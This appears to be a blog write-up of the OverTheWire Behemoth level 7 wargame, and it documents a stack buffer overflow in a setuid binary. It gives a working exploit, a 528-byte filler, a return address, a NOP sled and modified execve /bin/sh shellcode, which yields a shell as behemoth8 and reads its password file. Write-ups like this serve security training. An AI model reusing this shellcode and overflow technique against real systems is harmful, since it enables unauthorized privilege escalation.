OverTheWire.org - Behemoth - Level 7 Writeup

Running the vulnerable /behemoth/behemoth7 seems to produce no output.

So let's run with ltrace

behemoth7@behemoth:~$ ltrace  /behemoth/behemoth7
__libc_start_main(0x804852b, 1, 0xffffd744, 0x8048650 <unfinished ...>
strlen("LC_ALL=en_US.UTF-8")                                                                     = 18
memset(0xffffd874, '\0', 18)                                                                     = 0xffffd874
strlen("LS_COLORS=rs=0:di=01;34:ln=01;36"...)                                                    = 1467
memset(0xffffd887, '\0', 1467)                                                                   = 0xffffd887
strlen("SSH_CONNECTION=51.38.186.124 594"...)                                                    = 52
memset(0xffffde43, '\0', 52)                                                                     = 0xffffde43
strlen("LANG=en_US.UTF-8")                                                                       = 16
memset(0xffffde78, '\0', 16)                                                                     = 0xffffde78
strlen("USER=behemoth8")                                                                         = 14
memset(0xffffde89, '\0', 14)                                                                     = 0xffffde89
strlen("PWD=/home/behemoth8")                                                                    = 19
memset(0xffffde98, '\0', 19)                                                                     = 0xffffde98
strlen("HOME=/home/behemoth8")                                                                   = 20
memset(0xffffdeac, '\0', 20)                                                                     = 0xffffdeac
strlen("WECHALLTOKEN=03CB7-2E29C-CF18D-D"...)                                                    = 48
memset(0xffffdec1, '\0', 48)                                                                     = 0xffffdec1
strlen("SSH_CLIENT=51.38.186.124 59456 2"...)                                                    = 33
memset(0xffffdef2, '\0', 33)                                                                     = 0xffffdef2
strlen("SSH_TTY=/dev/pts/24")                                                                    = 19
memset(0xffffdf14, '\0', 19)                                                                     = 0xffffdf14
strlen("MAIL=/var/mail/behemoth8")                                                               = 24
memset(0xffffdf28, '\0', 24)                                                                     = 0xffffdf28
strlen("TERM=xterm")                                                                             = 10
memset(0xffffdf41, '\0', 10)                                                                     = 0xffffdf41
strlen("SHELL=/bin/bash")                                                                        = 15
memset(0xffffdf4c, '\0', 15)                                                                     = 0xffffdf4c
strlen("TMOUT=1800")                                                                             = 10
memset(0xffffdf5c, '\0', 10)                                                                     = 0xffffdf5c
strlen("SHLVL=1")                                                                                = 7
memset(0xffffdf67, '\0', 7)                                                                      = 0xffffdf67
strlen("LOGNAME=behemoth8")                                                                      = 17
memset(0xffffdf6f, '\0', 17)                                                                     = 0xffffdf6f
strlen("PATH=/usr/local/bin:/usr/bin:/bi"...)                                                    = 61
memset(0xffffdf81, '\0', 61)                                                                     = 0xffffdf81
strlen("WECHALLUSER=nikITA")                                                                     = 18
memset(0xffffdfbf, '\0', 18)                                                                     = 0xffffdfbf
strlen("_=/usr/bin/ltrace")                                                                      = 17
memset(0xffffdfd2, '\0', 17)                                                                     = 0xffffdfd2
+++ exited (status 0) +++


It seems that it reads Environment variables and then quits.

Disassembling with gdb we can see that it has an initial loop that reades the ENV, but after that part there is some code that is not being executed.
The code in gdb is :

   0x080485ab <+128>:   addl   $0x1,-0xc(%ebp)
   0x080485af <+132>:   call   0x8048410 <__ctype_b_loc@plt>
   0x080485b4 <+137>:   mov    (%eax),%edx
   0x080485b6 <+139>:   mov    -0x4(%ebp),%eax
   0x080485b9 <+142>:   movzbl (%eax),%eax
   0x080485bc <+145>:   movsbl %al,%eax
   0x080485bf <+148>:   add    %eax,%eax
   0x080485c1 <+150>:   add    %edx,%eax
   0x080485c3 <+152>:   movzwl (%eax),%eax
   0x080485c6 <+155>:   movzwl %ax,%eax
   0x080485c9 <+158>:   and    $0x400,%eax
   0x080485ce <+163>:   test   %eax,%eax
   0x080485d0 <+165>:   jne    0x8048614 <main+233>
   0x080485d2 <+167>:   call   0x8048410 <__ctype_b_loc@plt>
   0x080485d7 <+172>:   mov    (%eax),%edx
   0x080485d9 <+174>:   mov    -0x4(%ebp),%eax
   0x080485dc <+177>:   movzbl (%eax),%eax
   0x080485df <+180>:   movsbl %al,%eax
   0x080485e2 <+183>:   add    %eax,%eax
   0x080485e4 <+185>:   add    %edx,%eax
   0x080485e6 <+187>:   movzwl (%eax),%eax
   0x080485e9 <+190>:   movzwl %ax,%eax
   0x080485ec <+193>:   and    $0x800,%eax
   0x080485f1 <+198>:   test   %eax,%eax
   0x080485f3 <+200>:   jne    0x8048614 <main+233>
   0x080485f5 <+202>:   mov    0x8049940,%eax
   0x080485fa <+207>:   push   $0x80486d0
   0x080485ff <+212>:   push   $0x80486d8
   0x08048604 <+217>:   push   %eax
   0x08048605 <+218>:   call   0x80483f0 <fprintf@plt>
   0x0804860a <+223>:   add    $0xc,%esp
   0x0804860d <+226>:   push   $0x1
   0x0804860f <+228>:   call   0x80483c0 <exit@plt>
   0x08048614 <+233>:   addl   $0x1,-0x4(%ebp)
   0x08048618 <+237>:   mov    -0x4(%ebp),%eax
   0x0804861b <+240>:   movzbl (%eax),%eax
   0x0804861e <+243>:   test   %al,%al
   0x08048620 <+245>:   je     0x804862b <main+256>
   0x08048622 <+247>:   cmpl   $0x1ff,-0xc(%ebp)
   0x08048629 <+254>:   jle    0x80485ab <main+128>

Quite complicated sequence of jmp istructions: if we give a command line parameter it is executed but it is quite complex to follow all the jumps
Let's focus on the line at 0x08048622: it compares a number 0x1ff (511 in decimal) with a memory location.

Maybe 0x1ff is a buffer size, so let's give a command line parameter longer than 512 bytes and see what happens:

(gdb) set args $(python -c 'print "A"*550')
(gdb) r
....
Starting program: /behemoth/behemoth7 $(python -c 'print "A"*550')

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()

Great! We were able to control execution flow and jump to 0x41414141 (AAAA in hex)

With some tries we can get the exact size of the buffer that triggers the buffer overflow

(We may use the pattern_create.rb and pattern_offset.rb tools in Metasploit framework if we want)

(gdb) set args $(python -c 'print "A"*528+"BBBB"')
(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /behemoth/behemoth7 $(python -c 'print "A"*528+"BBBB"')

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()

So with 528 filling bytes we reach the return address to overwrite.

I tried a few times to use the JMP ESP tecnique to have a reliable jump to a shellcode but it seems not working.

Not sure about the reason, it's probably related to the complicated sequence of jump and operations on memory.

 Then I decided for a more traditional approach with a NOP sled and jumping directly to stack.

Using a buffer of 528 bytes + return address + 200 NOP + shellcode, it seems that the NOP sled is more or less around "0xffffd401" address on the stack.

But again, the standard execve() shellcode is not successful.
behemoth7@behemoth:~$/behemoth/behemoth7 $(python -c 'print "A"*528+"\x01\xd4\xff\xff" + "\x90" *200 +"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" ')
Illegal instruction

behemoth7@behemoth:~$ strace  /behemoth/behemoth7 $(python -c 'print "A"*528+"\x01\xd4\xff\xff" + "\x90" *200 +"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" ')
...
execve("/bin//sh", ["/bin//sh"], [/* 3 vars */]) = -1 EFAULT (Bad address)
--- SIGILL {si_signo=SIGILL, si_code=ILL_ILLOPN, si_addr=0xffffd4e1} ---
+++ killed by SIGILL +++
Illegal instruction

Running with strace we can see a possible reason: the execve shellcode doesn's clean the ENV and the parameters to the /bin//sh.

So let's add a couple of istructions to the shellcode:

  • xor ecx,ecx (\x31\xc9) 
  • xor edx,edx  (\x31\d2)
and succesfully retry:
/behemoth/behemoth7 $(python -c 'print "A"*528+"\x01\xd4\xff\xff" + "\x90" *200 +"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x31\xc9\x31\xd2\xb0\x0b\xcd\x80" ')
behemoth7@behemoth:~$   /behemoth/behemoth7 $(python -c 'print "A"*528+"\x01\xd4\xff\xff" + "\x90" *200 +"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x31\xc9\x31\xd2\xb0\x0b\xcd\x80" ')
$ id
uid=13007(behemoth7) gid=13007(behemoth7) euid=13008(behemoth8) groups=13007(behemoth7)
$ cat /etc/behemoth_pass/behemoth8
p*******e
$

No comments:

Post a Comment

Note: Only a member of this blog may post a comment.